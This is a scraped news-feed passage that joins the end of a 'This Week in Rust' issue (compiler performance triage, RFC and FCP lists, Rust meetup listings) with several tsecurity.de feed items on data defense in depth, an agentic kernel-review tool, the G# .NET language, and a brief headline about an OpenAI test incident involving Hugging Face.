<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust-compiler-performance-triage">Rust Compiler Performance Triage</a></h5>
<p>The two most notable changes this week were <a href="https://github.com/rust-lang/rust/pull/159115">#159115</a>,
which resulted in pretty nice instruction count wins for full incremental builds on several benchmarks,
and <a href="https://github.com/rust-lang/rust/pull/159091">#159091</a>, which enabled PGO for rustdoc, which
makes it ~3-4% faster across the board.</p>
<p>There were two large rollups with tiny performance regressions, which made it difficult to find
the offending PRs.</p>
<p>Triage done by <strong>@Kobzol</strong>.
Revision range: <a href="https://perf.rust-lang.org/?start=5503df87342a73d0c29126a7e08dc9c1255c46ad&amp;end=d527bc9bfa297ca7fd7f5ae93781eeec42073170&amp;absolute=false&amp;stat=instructions%3Au">5503df87..d527bc9b</a></p>
<p><strong>Summary</strong>:</p>
<table>
<thead>
<tr>
<th>(instructions:u)</th>
<th>mean</th>
<th>range</th>
<th>count</th>
</tr>
</thead>
<tbody>
<tr>
<td>Regressions ❌ <br> (primary)</td>
<td>0.4%</td>
<td>[0.2%, 1.0%]</td>
<td>40</td>
</tr>
<tr>
<td>Regressions ❌ <br> (secondary)</td>
<td>0.7%</td>
<td>[0.2%, 4.6%]</td>
<td>69</td>
</tr>
<tr>
<td>Improvements ✅ <br> (primary)</td>
<td>-2.0%</td>
<td>[-6.2%, -0.2%]</td>
<td>136</td>
</tr>
<tr>
<td>Improvements ✅ <br> (secondary)</td>
<td>-2.6%</td>
<td>[-8.4%, -0.2%]</td>
<td>119</td>
</tr>
<tr>
<td>All ❌✅ (primary)</td>
<td>-1.4%</td>
<td>[-6.2%, 1.0%]</td>
<td>176</td>
</tr>
</tbody>
</table>
<p>2 Regressions, 3 Improvements, 6 Mixed; 4 of them in rollups
34 artifact comparisons made in total</p>
<p><a href="https://github.com/rust-lang/rustc-perf/blob/189822607d8d09acd85c234b2c245e817591ca67/triage/2026/2026-07-21.md">Full report here</a>.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#approved-rfcs"></a><a href="https://github.com/rust-lang/rfcs/commits/master">Approved RFCs</a></h5>
<p>Changes to Rust follow the Rust <a href="https://github.com/rust-lang/rfcs#rust-rfcs">RFC (request for comments) process</a>. These
are the RFCs that were approved for implementation this week:</p>
<ul>
<li><em>No RFCs were approved this week.</em></li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#final-comment-period">Final Comment Period</a></h5>
<p>Every week, <a href="https://www.rust-lang.org/team.html">the team</a> announces the 'final comment period' for RFCs and key PRs
which are reaching a decision. Express your opinions now.</p>
<h6><a class="toclink" href="https://this-week-in-rust.org/atom.xml#tracking-issues-prs">Tracking Issues &amp; PRs</a></h6>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#rust"></a><a href="https://github.com/rust-lang/rust/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Rust</a>
<ul>
<li><a href="https://github.com/rust-lang/rust/issues/159298">Tracking Issue for <code>bool::toggle</code></a></li>
<li><a href="https://github.com/rust-lang/rust/issues/146954">Tracking Issue for vec_try_remove</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157562">Avoid computing layout of enums with non-int discriminants</a></li>
<li><a href="https://github.com/rust-lang/rust/issues/71835">Tracking Issue for const_btree_len</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/138230">Add <code>raw_borrows_via_references</code> lint</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/157572">stabilize size_of_val_raw, align_of_val_raw, Layout::for_value_raw</a></li>
<li><a href="https://github.com/rust-lang/rust/pull/158835">rustc_passes: lint unused <code>#[path]</code> attributes on inline modules</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#compiler-team-mcps-only"></a><a href="https://github.com/rust-lang/compiler-team/issues?q=label%3Amajor-change%20label%3Afinal-comment-period%20state%3Aopen">Compiler Team</a> <a href="https://forge.rust-lang.org/compiler/mcp.html">(MCPs only)</a>
<ul>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1019">Emit <code>note</code> when calling <code>rustc</code> without specifying an edition</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1011">Let the OS handle stack growth</a></li>
<li><a href="https://github.com/rust-lang/compiler-team/issues/1010">Add <code>target_feature_available_at_call_site</code></a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#leadership-council"></a><a href="https://github.com/rust-lang/leadership-council/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Leadership Council</a>
<ul>
<li><a href="https://github.com/rust-lang/leadership-council/pull/314">Deallocate post-2026 funds from PM and compiler-ops</a></li>
</ul>
<a class="toclink" href="https://this-week-in-rust.org/atom.xml#unsafe-code-guidelines"></a><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Unsafe Code Guidelines</a>
<ul>
<li><a href="https://github.com/rust-lang/unsafe-code-guidelines/issues/558">Do the bytes of a pointer have to stay in the same order?</a></li>
</ul>
<p><em>No Items entered Final Comment Period this week for
  <a href="https://github.com/rust-lang/cargo/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Cargo</a>,
  <a href="https://github.com/rust-lang/reference/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Reference</a>,
  <a href="https://github.com/rust-lang/lang-team/issues?q=is%3Aopen%20label%3Afinal-comment-period%20sort%3Aupdated-desc%20state%3Aopen">Language Team</a> or
  <a href="https://github.com/rust-lang/rfcs/issues?q=state%3Aopen%20label%3Afinal-comment-period%20state%3Aopen">Rust RFCs</a>.</em></p>
<p>Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#new-and-updated-rfcs"></a><a href="https://github.com/rust-lang/rfcs/pulls">New and Updated RFCs</a></h5>
<ul>
<li><a href="https://github.com/rust-lang/rfcs/pull/3984">RFC: Refactor the libs team</a></li>
</ul>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#upcoming-events">Upcoming Events</a></h4>
<p>Rusty Events between 2026-07-22 - 2026-08-19 🦀</p>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#virtual">Virtual</a></h5>
<ul>
<li>2026-07-24 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/hd8mlw56"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254777/"><strong>Fourth Tuesday</strong></a></li>
</ul>
</li>
<li>2026-07-28 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315279653/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/312045928/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-07-31 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/uo5ek1f4"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Virtual (Kampala, UG) | <a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587">Rust Circle Meetup</a><ul>
<li><a href="https://www.eventbrite.com/e/rust-circle-meetup-tickets-628763176587"><strong>Rust Circle Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-02 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/314095294/"><strong>Rust Deep Learning: First Sunday</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Virtual (London, UK) | <a href="https://www.meetup.com/women-in-rust">Women in Rust</a><ul>
<li><a href="https://www.meetup.com/women-in-rust/events/315213885/"><strong>👋 Community Catch Up</strong></a></li>
</ul>
</li>
<li>2026-08-05 | Virtual (Indianapolis, IN, US) | <a href="https://www.meetup.com/indyrs">Indy Rust</a><ul>
<li><a href="https://www.meetup.com/indyrs/events/315210367/"><strong>Indy.rs - with Social Distancing</strong></a></li>
</ul>
</li>
<li>2026-08-07 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/ii2jrwva"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-11 | Virtual (Dallas, TX, US) | <a href="https://www.meetup.com/dallasrust">Dallas Rust User Meetup</a><ul>
<li><a href="https://www.meetup.com/dallasrust/events/310254776/"><strong>Second Tuesday</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Berlin, DE) | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/313345333/"><strong>Rust Hack and Learn</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Virtual (Nürnberg, DE) | <a href="https://www.meetup.com/rust-noris">Rust Nuremberg</a><ul>
<li><a href="https://www.meetup.com/rust-noris/events/315619609/"><strong>Rust Nürnberg online</strong></a></li>
</ul>
</li>
<li>2026-08-14 | Virtual (Girona, ES) | <a href="https://luma.com/rust-girona">Rust Girona</a><ul>
<li><a href="https://luma.com/f2hnzrug"><strong>Sessió setmanal de codificació / Weekly coding session</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Virtual (Washington, DC, US) | <a href="https://www.meetup.com/rustdc">Rust DC</a><ul>
<li><a href="https://www.meetup.com/rustdc/events/315604176/"><strong>Mid-month Rustful</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#africa">Africa</a></h5>
<ul>
<li>2026-08-11 | Johannesburg, ZA | <a href="https://www.meetup.com/johannesburg-rust-meetup">Johannesburg Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/johannesburg-rust-meetup/events/315750593/"><strong>Rust's extended standard library</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#asia">Asia</a></h5>
<ul>
<li>2026-07-25 | Mumbai, IN | <a href="https://luma.com/mumbai">Rust Mumbai</a><ul>
<li><a href="https://luma.com/7ksabwbm/"><strong>​Rust Mumbai — July Meetup 🦀</strong></a></li>
</ul>
</li>
<li>2026-07-26 | Pune, IN | <a href="https://www.meetup.com/rust-pune">Rust Pune</a><ul>
<li><a href="https://www.meetup.com/rust-pune/events/315651505/"><strong>Rust Pune: July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#europe">Europe</a></h5>
<ul>
<li>2026-07-23 | Berlin, DE | <a href="https://www.meetup.com/rust-berlin">Rust Berlin</a><ul>
<li><a href="https://www.meetup.com/rust-berlin/events/315484101/"><strong>Rust Berlin Talks: The next generation</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/rust-london-user-group">Rust London User Group</a><ul>
<li><a href="https://www.meetup.com/rust-london-user-group/events/315612916/"><strong>LDN Talks: July 2026 Antithesis Takeover</strong></a></li>
</ul>
</li>
<li>2026-07-23 | London, UK | <a href="https://www.meetup.com/london-rust-project-group">London Rust Project Group</a><ul>
<li><a href="https://www.meetup.com/london-rust-project-group/events/315366453/"><strong>Rama modular service framework for Rust</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Paris, FR | <a href="https://www.meetup.com/rust-paris">Rust Paris</a><ul>
<li><a href="https://www.meetup.com/rust-paris/events/315309633/"><strong>Rust meetup #87</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Stockholm, SE | <a href="https://www.meetup.com/stockholm-rust">Stockholm Rust</a><ul>
<li><a href="https://www.meetup.com/stockholm-rust/events/315749994/"><strong>Ferris' Fika Forum #28</strong></a></li>
</ul>
</li>
<li>2026-07-27 | Augsburg, DE | <a href="https://rust-augsburg.github.io/meetup">Rust Meetup Augsburg</a><ul>
<li><a href="https://rust-augsburg.github.io/meetup/Meetup_20.html"><strong>Rust Meetup #20: Julian Dickert - Supply chain security in Rust: Evaluating crates for production</strong></a></li>
</ul>
</li>
<li>2026-07-29 | Poland, PL | <a href="https://www.meetup.com/rust-poland-meetup">Rust Poland</a><ul>
<li><a href="https://www.meetup.com/rust-poland-meetup/events/315582674/"><strong>Rust Poland x Kraków #10</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Copenhagen, DK | <a href="https://www.meetup.com/copenhagen-rust-community">Copenhagen Rust Community</a><ul>
<li><a href="https://www.meetup.com/copenhagen-rust-community/events/315767999/"><strong>Rust meetup #70</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Manchester, UK | <a href="https://www.meetup.com/rust-manchester">Rust Manchester</a><ul>
<li><a href="https://www.meetup.com/rust-manchester/events/315037685/"><strong>Rust Manchester July Code Night</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Aarhus, DK | <a href="https://www.meetup.com/rust-aarhus">Rust Aarhus</a><ul>
<li><a href="https://www.meetup.com/rust-aarhus/events/315683629/"><strong>Hack Night: Trust but verify the LLM</strong></a></li>
</ul>
</li>
<li>2026-08-18 | Leipzig, DE | <a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig">Rust - Modern Systems Programming in Leipzig</a><ul>
<li><a href="https://www.meetup.com/rust-modern-systems-programming-in-leipzig/events/313816474/"><strong>Topic TBD</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#north-america">North America</a></h5>
<ul>
<li>2026-07-22 | Austin, TX, US | <a href="https://www.meetup.com/rust-atx">Rust ATX</a><ul>
<li><a href="https://www.meetup.com/rust-atx/events/xvkdgtyjckbdc/"><strong>Rust Lunch - Fareground</strong></a></li>
</ul>
</li>
<li>2026-07-22 | Los Angeles, CA, US | <a href="https://www.meetup.com/rust-los-angeles">Rust Los Angeles</a><ul>
<li><a href="https://www.meetup.com/rust-los-angeles/events/315376271/"><strong>Rust LA: Rust in Distributed Systems with Flight Science!</strong></a></li>
</ul>
</li>
<li>2026-07-22 | New York, NY, US | <a href="https://www.meetup.com/rust-nyc/events/">Rust NYC</a><ul>
<li><a href="https://www.meetup.com/rust-nyc/events/315636854/"><strong>Rust NYC: Write A Custom Coding Agent and wasm_zero</strong></a></li>
</ul>
</li>
<li>2026-07-23 | Mountain View, CA, US | <a href="https://www.meetup.com/hackerdojo/events/">Hacker Dojo</a><ul>
<li><a href="https://www.meetup.com/hackerdojo/events/315418155/"><strong>RUST MEETUP at HACKER DOJO</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582650/"><strong>Porter Square Rust Lunch, July 25</strong></a></li>
</ul>
</li>
<li>2026-07-25 | Brooklyn, NY, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/Vq9fyDNCMSO7ia4ulK5b"><strong>BOG-A-THON 2</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Atlanta, GA, US | <a href="https://www.meetup.com/rust-atl">Rust Atlanta</a><ul>
<li><a href="https://www.meetup.com/rust-atl/events/313539329/"><strong>Rust-Atl</strong></a></li>
</ul>
</li>
<li>2026-08-01 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/315582653/"><strong>Chinatown Rust Lunch, Aug 1</strong></a></li>
</ul>
</li>
<li>2026-08-04 | Boston, MA, US | <a href="https://www.meetup.com/bostonrust">Boston Rust Meetup</a><ul>
<li><a href="https://www.meetup.com/bostonrust/events/314660176/"><strong>Evening Boston Rust Meetup at Red Hat, Aug 4</strong></a></li>
</ul>
</li>
<li>2026-08-06 | Saint Louis, MO, US | <a href="https://www.meetup.com/stl-rust">STL Rust</a><ul>
<li><a href="https://www.meetup.com/stl-rust/events/314701905/"><strong>Shipping Temporal: How a Global Rust Ecosystem Built Chrome’s Newest Web API</strong></a></li>
</ul>
</li>
<li>2026-08-13 | Lehi, UT, US | <a href="https://www.meetup.com/utah-rust">Utah Rust</a><ul>
<li><a href="https://www.meetup.com/utah-rust/events/314696652/"><strong>Utah Rust August Meetup</strong></a></li>
</ul>
</li>
<li>2026-08-13 | San Diego, CA, US | <a href="https://www.meetup.com/san-diego-rust">San Diego Rust</a><ul>
<li><a href="https://www.meetup.com/san-diego-rust/events/315601099/"><strong>San Diego Rust August Meetup - Back in person!</strong></a></li>
</ul>
</li>
<li>2026-08-15 | San Francisco, CA, US | <a href="https://flowercomputer.com/">Flower</a><ul>
<li><a href="https://partiful.com/e/juWAwRs3XMWP7s9wLNWK"><strong>BOG-A-THON 3</strong></a></li>
</ul>
</li>
<li>2026-08-18 | San Francisco, CA, US | <a href="https://www.meetup.com/san-francisco-rust-study-group">San Francisco Rust Study Group</a><ul>
<li><a href="https://www.meetup.com/san-francisco-rust-study-group/events/314997215/"><strong>Rust Hacking in Person</strong></a></li>
</ul>
</li>
<li>2026-08-19 | Hybrid (Vancouver, BC, CA) | <a href="https://www.meetup.com/vancouver-rust">Vancouver Rust</a><ul>
<li><a href="https://www.meetup.com/vancouver-rust/events/314105333/"><strong>Dealing with Dependencies</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#oceania">Oceania</a></h5>
<ul>
<li>2026-07-23 | Perth, AU | <a href="https://www.meetup.com/perth-rust-meetup-group">Rust Perth Meetup Group</a><ul>
<li><a href="https://www.meetup.com/perth-rust-meetup-group/events/315451138/"><strong>Rust Perth: July Meetup!</strong></a></li>
</ul>
</li>
<li>2026-07-30 | Melbourne, AU | <a href="https://www.meetup.com/rust-melbourne">Rust Melbourne</a><ul>
<li><a href="https://www.meetup.com/rust-melbourne/events/315039480/"><strong>Rust Melbourne July 2026</strong></a></li>
</ul>
</li>
</ul>
<h5><a class="toclink" href="https://this-week-in-rust.org/atom.xml#south-america">South America</a></h5>
<ul>
<li>2026-08-08 | São Paulo, SP | <a href="https://luma.com/calendar/cal-bif2oHITU1aVvsr">Rust-SP</a><ul>
<li><a href="https://luma.com/41oiyhtk"><strong>Rust SP - Aug/2026</strong></a></li>
</ul>
</li>
</ul>
<p>If you are running a Rust event please add it to the <a href="https://www.google.com/calendar/embed?src=apd9vmbc22egenmtu5l6c5jbfc%40group.calendar.google.com">calendar</a> to get
it mentioned here. Please remember to add a link to the event too.
Email the <a href="mailto:community-team@rust-lang.org">Rust Community Team</a> for access.</p>
<h4><a class="toclink" href="https://this-week-in-rust.org/atom.xml#jobs">Jobs</a></h4>
<p>Please see the latest <a href="https://www.reddit.com/r/rust/comments/1ttbtf5/official_rrust_whos_hiring_thread_for_jobseekers/">Who's Hiring thread on r/rust</a></p>
<h3><a class="toclink" href="https://this-week-in-rust.org/atom.xml#quote-of-the-week">Quote of the Week</a></h3>
<blockquote>
<p>We were planning on publishing a blog post announcing this at the same time as making the repo public, but ran out of private repo CI usage 😭.</p>
</blockquote>
<p>– <a href="https://www.reddit.com/r/rust/comments/1uzknzl/tokiorstopcoat_a_batteriesincluded_framework_for/oy8k2nn/">Carl Lerche on r/rust</a> about the launch of topcoat</p>
<p>Despite a lamentable lack of suggestions, llogiq is glad to have found this quote.</p>
<p><a href="https://users.rust-lang.org/t/twir-quote-of-the-week/328">Please submit quotes and vote for next week!</a></p>
<p>This Week in Rust is edited by:</p>
<ul>
<li><a href="https://github.com/nellshamrell">nellshamrell</a></li>
<li><a href="https://github.com/llogiq">llogiq</a></li>
<li><a href="https://github.com/ericseppanen">ericseppanen</a></li>
<li><a href="https://github.com/extrawurst">extrawurst</a></li>
<li><a href="https://github.com/U007D">U007D</a></li>
<li><a href="https://github.com/mariannegoldin">mariannegoldin</a></li>
<li><a href="https://github.com/bdillo">bdillo</a></li>
<li><a href="https://github.com/opeolluwa">opeolluwa</a></li>
<li><a href="https://github.com/bnchi">bnchi</a></li>
<li><a href="https://github.com/KannanPalani57">KannanPalani57</a></li>
<li><a href="https://github.com/tzilist">tzilist</a></li>
</ul>
<p><em>Email list hosting is sponsored by <a href="https://foundation.rust-lang.org/">The Rust Foundation</a></em></p>
<p><small><a href="https://www.reddit.com/r/rust/comments/1v41dgv/this_week_in_rust_661/">Discuss on r/rust</a></small></p>]]></content:encoded>
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<title><![CDATA[Building a defense in depth strategy for sensitive data]]></title>
<description><![CDATA[In this Help Net Security video, Venkata Pavan Kumar Gummadi, Professional Software Engineer at Broadridge, explains how to build a defense in depth strategy for protecting sensitive data. He argues that a single control, like encrypting a disk or turning…
Read more →
The post Building a defense ...]]></description>
<link>https://tsecurity.de/de/3688035/it-security-nachrichten/building-a-defense-in-depth-strategy-for-sensitive-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688035/it-security-nachrichten/building-a-defense-in-depth-strategy-for-sensitive-data/</guid>
<pubDate>Thu, 23 Jul 2026 07:16:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this Help Net Security video, Venkata Pavan Kumar Gummadi, Professional Software Engineer at Broadridge, explains how to build a defense in depth strategy for protecting sensitive data. He argues that a single control, like encrypting a disk or turning…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/building-a-defense-in-depth-strategy-for-sensitive-data/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/building-a-defense-in-depth-strategy-for-sensitive-data/">Building a defense in depth strategy for sensitive data</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Building a defense in depth strategy for sensitive data]]></title>
<description><![CDATA[In this Help Net Security video, Venkata Pavan Kumar Gummadi, Professional Software Engineer at Broadridge, explains how to build a defense in depth strategy for protecting sensitive data. He argues that a single control, like encrypting a disk or turning on DLP, leaves gaps that attackers exploi...]]></description>
<link>https://tsecurity.de/de/3687933/it-security-nachrichten/building-a-defense-in-depth-strategy-for-sensitive-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687933/it-security-nachrichten/building-a-defense-in-depth-strategy-for-sensitive-data/</guid>
<pubDate>Thu, 23 Jul 2026 06:09:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>In this Help Net Security video, Venkata Pavan Kumar Gummadi, Professional Software Engineer at Broadridge, explains how to build a defense in depth strategy for protecting sensitive data. He argues that a single control, like encrypting a disk or turning on DLP, leaves gaps that attackers exploit by finding the seams between layers. Venkata walks through four layers that work together across the data life cycle. Classification labels fields such as Social Security numbers and … <a href="https://www.helpnetsecurity.com/2026/07/23/defense-in-depth-strategy-video/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/23/defense-in-depth-strategy-video/">Building a defense in depth strategy for sensitive data</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Alright...time to give it a stab ....Sashiko...https://github.com/sashiko-dev/sashiko ...Agentic review of Linux Kernel code changes]]></title>
<description><![CDATA[If you have tried it, I would like to know your opinion. Did you try it locally or use it with external LLMs? How did it withstand your machine state?? Especially on low-powered and low specs like most of us have. (Oh, I am assuming)    submitted by    /u/unixbhaskar   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3687879/linux-tipps/alrighttime-to-give-it-a-stab-sashikohttpsgithubcomsashiko-devsashiko-agentic-review-of-linux-kernel-code-changes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687879/linux-tipps/alrighttime-to-give-it-a-stab-sashikohttpsgithubcomsashiko-devsashiko-agentic-review-of-linux-kernel-code-changes/</guid>
<pubDate>Thu, 23 Jul 2026 04:29:01 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>If you have tried it, I would like to know your opinion. Did you try it locally or use it with external LLMs? How did it withstand your machine state?? Especially on low-powered and low specs like most of us have. (Oh, I am assuming)</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/unixbhaskar"> /u/unixbhaskar </a> <br> <span><a href="https://www.reddit.com/r/linuxadmin/comments/1v3tees/alright_time_to_give_it_a_stab_sashiko/?share_id=Gd1_JCLaQPaeX-f-Y38W6&amp;utm_content=share_button&amp;utm_medium=web3x&amp;utm_name=web3xcss&amp;utm_source=share&amp;utm_term=1">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v3tjmd/alrighttime_to_give_it_a_stab/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[G# language for .NET borrows from Go, Kotlin, and Swift]]></title>
<description><![CDATA[G# (GSharp) is moving forward as a programming language for Microsoft’s .NET platform, touted as bringing Go-, Kotlin-, and Swift-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.



Although pre-1.0 and still growi...]]></description>
<link>https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687865/ai-nachrichten/g-language-for-net-borrows-from-go-kotlin-and-swift/</guid>
<pubDate>Thu, 23 Jul 2026 04:08:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://github.com/DavidObando/gsharp" data-type="link" data-id="https://github.com/DavidObando/gsharp">G# (GSharp)</a><strong> </strong>is moving forward as a programming language for Microsoft’s <a href="https://www.infoworld.com/article/2264488/what-is-the-net-framework-microsofts-answer-to-java.html">.NET</a> platform, touted as bringing <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>-, <a href="https://www.infoworld.com/article/2256390/what-is-kotlin-the-java-alternative-explained.html">Kotlin</a>-, and <a href="https://www.infoworld.com/article/4150248/swift-6-3-boosts-c-interoperability-android-sdk.html">Swift</a>-style ergonomics to the CLR (Common Language Runtime). The language is described by its creators as modern, simple, and accessible.</p>



<p class="wp-block-paragraph">Although pre-1.0 and still growing, G# aims to be for people who want a small, predictable language with direct access to the .NET ecosystem. Developers will see imports, <code>func</code>, structs, slices, maps, channels, <code>go</code>, <code>select</code>, and <code>for in</code> iteration. Also important are nullable flow, direct calls into the CLR (Common Language Runtime), and built-in concurrency. </p>



<p class="wp-block-paragraph">With G#, copyrighted in 2026, developers get value-oriented structs, reference-oriented classes, data structs, and data classes. For concurrency, G# uses <code>scope</code> for structured concurrency, <code>async func</code><strong> </strong>and <code>await</code><strong> </strong>for task-based asynchrony, and <code>async sequence[T]</code> for asynchronous streams. G# also makes use of the same <code>Task</code> and <code>Task[T]</code> types familiar from the .NET BCL (Base Class Library).</p>



<p class="wp-block-paragraph">G# documentation is <a href="https://davidobando.github.io/gsharp/" data-type="link" data-id="https://davidobando.github.io/gsharp/">available on the GitHub site</a> of Microsoft software engineer David Obando. “Every .NET type—your packages, third-party NuGet packages, the BCL—is callable from G# with the syntax you already know. CLR generics use G#’s bracket spelling, and method calls, properties, indexers, and <code>for in</code><strong> </strong>over <code>IEnumerable[T]</code> all just work,” according to the website.</p>



<p class="wp-block-paragraph">A Visual Studio Code extension for G3 can be found at <a href="https://marketplace.visualstudio.com/items?itemName=gsharplang.vscode-gsharp">marketplace.visualstudio.com</a>. The extension adds syntax highlighting, language server features, build/run commands, and debugger configuration for <code>.gs</code> and <code>.gsproj</code> files. Developers can install the extension from within VS Code (search for “G#” in the Extensions view) or from the command line.</p>
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<title><![CDATA[Bei internen KI-Tests: OpenAI hat versehentlich Hugging Face gehackt - Golem.de]]></title>
<description><![CDATA[... IT-Sicherheit kompakt - Dein Rundum-Paket für Hacking und Schutz (. E-Learning ... SecuritySicherheitslückeCybercrime. Weitere interessante Artikel ...]]></description>
<link>https://tsecurity.de/de/3687834/it-security-nachrichten/bei-internen-ki-tests-openai-hat-versehentlich-hugging-face-gehackt-golemde/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687834/it-security-nachrichten/bei-internen-ki-tests-openai-hat-versehentlich-hugging-face-gehackt-golemde/</guid>
<pubDate>Thu, 23 Jul 2026 03:11:15 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[... <b>IT</b>-<b>Sicherheit</b> kompakt - Dein Rundum-Paket für Hacking und Schutz (. E-Learning ... SecuritySicherheitslückeCybercrime. Weitere interessante Artikel ...]]></content:encoded>
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<title><![CDATA[Lego’s Donkey Kong arcade machine lets Mario jump endless barrels — Miyamoto is reportedly happy]]></title>
